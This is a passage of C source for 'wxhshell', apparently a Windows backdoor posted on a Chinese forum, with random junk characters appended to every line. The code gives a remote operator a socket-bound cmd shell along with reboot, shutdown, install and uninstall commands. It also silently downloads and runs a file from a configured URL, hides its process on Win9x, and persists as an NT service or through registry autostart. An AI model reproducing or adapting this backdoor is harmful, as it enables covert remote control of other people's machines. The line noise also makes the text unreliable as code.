  else { R+#|<e5@%o  
sb Z)z#Tr  
    switch(cmd[0]) { !>Db  
  ]8*g%  
  // 帮助 n'v[[bmu  
  case '?': { Yvs)H'n=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _-x|g~pV*  
    break; ZOK2BCoW  
  } ! pR&&uG  
  // 安装 ZwB< {?  
  case 'i': { j1*'yvGM  
    if(Install()) e3"GC_*#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2aX|E4F  
    else @X?DHLM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S=~[6;G  
    break; y!u)q3J0&  
    } (BEGt '7  
  // 卸载 d+rrb>-OU  
  case 'r': { Dz:A.x@$*  
    if(Uninstall()) qxf!]jm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _d 76jmujJ  
    else H)}>&Z4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  #8MA+  
    break; 'Xoif"  
    } YD H!N l  
  // 显示 wxhshell 所在路径 9cp-Rw<tI  
  case 'p': { vP`Sz}FU  
    char svExeFile[MAX_PATH]; c [sydl  
    strcpy(svExeFile,"\n\r"); e) 42SL^s  
      strcat(svExeFile,ExeFile); +w[vYKSZm  
        send(wsh,svExeFile,strlen(svExeFile),0); F{0Z  
    break; H=9kDP${  
    } #(F/P!qk  
  // 重启 Wf/r@/ q  
  case 'b': { ?1*Ka  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kfr' P u  
    if(Boot(REBOOT)) U>w#`Sy[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u,AP$+Qk  
    else { O;z:?  
    closesocket(wsh); DDQ}&`s  
    ExitThread(0); >h1 3i@`r  
    } )' +" y~  
    break; GK .^Gd  
    } 0uV3J  
  // 关机 L[lX?g?Ob  
  case 'd': { h/5|3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dv -L!C  
    if(Boot(SHUTDOWN)) 4&X D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #V&98 F  
    else { qmqWMLfC  
    closesocket(wsh); )UbPG`x8  
    ExitThread(0); uNCM,J!#~  
    } YbtsJ <w  
    break; 1/+d@s#t  
    } VK*Dm:G0  
  // 获取shell vz5x{W  
  case 's': { .a2b&}/.d  
    CmdShell(wsh); (VD Y]Q)  
    closesocket(wsh); `NYu|:JK:  
    ExitThread(0); #(swVo:+E  
    break; )Tjh  
  } */c4b:s  
  // 退出 m%m<-.'-  
  case 'x': { WX .Ax$fT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9<n2-l|)  
    CloseIt(wsh); uN>JX/-  
    break; ]QKo>7%[  
    } 6&| hpp#[  
  // 离开 ~_Q~AOFM  
  case 'q': { [wU e"{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }`KK  
    closesocket(wsh); fF6bEJl3  
    WSACleanup(); ezimQ  
    exit(1); :I_p4S.)  
    break; qm^|7m^  
        } r1<dZtb  
  } ')N[)&&Q{  
  } !/nXEjW?  
(4o<U%3kGq  
  // 提示信息 P:D;w2'Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6/Iq@BZ&  
} m tU{d^B  
  } ) >;7"v  
)<Fq}Q86  
  return; EfX\"y  
} 'tTUro1~  
8Q%g<jX*  
// shell模块句柄 5(zdM)Y7  
int CmdShell(SOCKET sock) :@uIEvD?  
{ g(_xo\  
STARTUPINFO si; IG+g7kDCY  
ZeroMemory(&si,sizeof(si)); 8 Y4mTW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IOA2/ WQu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @C-03`JWuK  
PROCESS_INFORMATION ProcessInfo; M*!WXQlud  
char cmdline[]="cmd"; :V3z`}Rl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JDJ"D\85  
  return 0; fmq''1u  
} lArKfs/   
Gv[s86AP,  
// 自身启动模式 ]p8 zT|bv  
int StartFromService(void) g,9&@g/  
{ 2FR+Z3&z  
typedef struct >.M>,m\  
{ =oBlUE  
  DWORD ExitStatus; fB80&G9  
  DWORD PebBaseAddress; _ amP:h  
  DWORD AffinityMask; xa.tH)R  
  DWORD BasePriority; hkb&]XWi[  
  ULONG UniqueProcessId; oXjoQ  
  ULONG InheritedFromUniqueProcessId; i;rcg d  
}   PROCESS_BASIC_INFORMATION; :8K}e]!c1  
#f [}a  
PROCNTQSIP NtQueryInformationProcess; f8 BZkh  
!&xci})7a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G6QD`ED  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z&cM8w:  
2X<%BFsE  
  HANDLE             hProcess; T|8:_4/l  
  PROCESS_BASIC_INFORMATION pbi; c]h@<wnv  
IyI0|&r2A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M^*\ $K%  
  if(NULL == hInst ) return 0; Y[l<fbh(}  
"~=-Q#xO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eT Fep^[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eF]8Ar1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HKr}"`I.  
iciKjXJ :  
  if (!NtQueryInformationProcess) return 0; 6DU~6c=)  
IU<lF)PF$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ; PncJe5x  
  if(!hProcess) return 0; ?JG^GD7D  
_1Q6FI5iR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .%y'q!?  
Fgi`g{N  
  CloseHandle(hProcess); Unv'm5/L  
Um}AV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;DSH$'1i  
if(hProcess==NULL) return 0; Ml$<x"Q  
S2DG=hi`GK  
HMODULE hMod; Q^ZM|(s#  
char procName[255]; 0^R, d M  
unsigned long cbNeeded; JOpH Z?  
'da 'WZG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rf-yUH]&S  
-uWV( ,|  
  CloseHandle(hProcess); PxgJ7d  
]/kpEx  
if(strstr(procName,"services")) return 1; // 以服务启动 (:qc[,m  
3rB0H   
  return 0; // 注册表启动 /q+;!EM  
} _XT'h;m  
qC{JsX`~  
// 主模块 FLs$  
int StartWxhshell(LPSTR lpCmdLine) a/\{NHs6"5  
{ P woiX#vz  
  SOCKET wsl; BGBHA"5fz  
BOOL val=TRUE; ;xe.0j0h  
  int port=0; w8>h6x "  
  struct sockaddr_in door; g\fj6  
GyWa=KW.u  
  if(wscfg.ws_autoins) Install(); m)} 01N4  
Hc =QSP  
port=atoi(lpCmdLine); u*v<dsGQ  
h# "$W;(  
if(port<=0) port=wscfg.ws_port; 3PGAUQR#"q  
}a$.ngP  
  WSADATA data; MNWI%*0LO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {='Bd6_=  
z,4mg6gt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cd1G.10  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E#!!tH`lgg  
  door.sin_family = AF_INET; } 1e4u{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;5bd<N  
  door.sin_port = htons(port); ]vlBYAW'  
_%- +"3Ll  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a3<:F2=~\  
closesocket(wsl); /V:9*C  
return 1; 3}<U'%sd  
} 3y6\0|{1  
R ,qQC<  
  if(listen(wsl,2) == INVALID_SOCKET) { /j$=?Rp  
closesocket(wsl); /@k#tdj  
return 1; ![^pAEgx  
} X n$ZA-  
  Wxhshell(wsl); bu|.Jw"  
  WSACleanup(); Ha`N  
Sy|GM~  
return 0; ZrTB%  
Ctz#9[|  
} IibrZ/n6  
Q !;syJBb.  
// 以NT服务方式启动 t`"m@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gHLI>ew*QR  
{ >MHlrSH2  
DWORD   status = 0; FKTF?4+\U  
  DWORD   specificError = 0xfffffff; Bz/Vzc(  
0cq@lT6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E7fQ9]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'd+fGx7i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ki9&AFs2X  
  serviceStatus.dwWin32ExitCode     = 0; qT@h/Y  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ ~Eh+  
  serviceStatus.dwCheckPoint       = 0; </{Zb.  
  serviceStatus.dwWaitHint       = 0; $V(]z`b&  
2bNOn%!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x,,y}_YX  
  if (hServiceStatusHandle==0) return; LpU}.  
TlS? S+  
status = GetLastError(); q@ -B+  
  if (status!=NO_ERROR) 'RMUjJ-!  
{ 'dwT&v]@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \v Ajg  
    serviceStatus.dwCheckPoint       = 0; s1D<R,J|H  
    serviceStatus.dwWaitHint       = 0; ('5?-  
    serviceStatus.dwWin32ExitCode     = status; R&Y_  
    serviceStatus.dwServiceSpecificExitCode = specificError; g#J aw|N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <: v+<)K  
    return; i)o;,~ee  
  } _6NUtU  
W`;;fJe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W[8Kia-OD  
  serviceStatus.dwCheckPoint       = 0; R |c=I }@F  
  serviceStatus.dwWaitHint       = 0; r)iEtT!p*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JN0h3nZ_  
} 9(N  
fjRVYOG#  
// 处理NT服务事件,比如:启动、停止 ?G,4N<]Nu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _uQ]I^'D  
{ _Je 4&KU  
switch(fdwControl) :jiuu@<  
{ $D^\[^S  
case SERVICE_CONTROL_STOP: ENTcTrTn  
  serviceStatus.dwWin32ExitCode = 0; 4XN \p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c{=Sy;i@  
  serviceStatus.dwCheckPoint   = 0; rOSov"7  
  serviceStatus.dwWaitHint     = 0; &h334N|4{  
  { m TE(J Zt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9]Uuvfp6"  
  } d&#_t@%  
  return; D\Ak-$kJ^  
case SERVICE_CONTROL_PAUSE: [3m\~JtS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pd91<L  
  break; 3B1\-ry1M  
case SERVICE_CONTROL_CONTINUE: 75# 8P?i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0'Pjnk-i  
  break; _?c.m*)A  
case SERVICE_CONTROL_INTERROGATE: nGF +a[Z  
  break; X1^VdJE  
}; (T%F^s5D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  T~[:oil  
} ppAbG,7  
`|'w]rj:"+  
// 标准应用程序主函数 <]rayUyaf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @Q74  
{ J>Ar(p  
 +A3/^C0  
// 获取操作系统版本 f;e#7_  
OsIsNt=GetOsVer(); mfr aw2H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hfwJZ\_60  
k~tEUsv  
  // 从命令行安装 P6gkbtg  
  if(strpbrk(lpCmdLine,"iI")) Install(); :aNjh  
qezWfR`  
  // 下载执行文件 HMq}){=S  
if(wscfg.ws_downexe) { ]es|%j 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kF|$oBQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8~'cP?  
} %KQ1{"  
x"2p5T7*>  
if(!OsIsNt) { i 8sv,P  
// 如果时win9x,隐藏进程并且设置为注册表启动 , 'pYR]3  
HideProc(); AwJg/VBo)  
StartWxhshell(lpCmdLine); )M8d\]  
} ?{J1&;j*  
else P27Ot1px  
  if(StartFromService()) .}dLqw  
  // 以服务方式启动 Z518J46o  
  StartServiceCtrlDispatcher(DispatchTable); qYoW8e   
else Oc)n,D)0  
  // 普通方式启动 Q7+WV`&  
  StartWxhshell(lpCmdLine); LK h=jB^bT  
SgU@`Pb  
return 0; RZz?_1'  
}
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只看该作者 1 发表于: 2006-10-10
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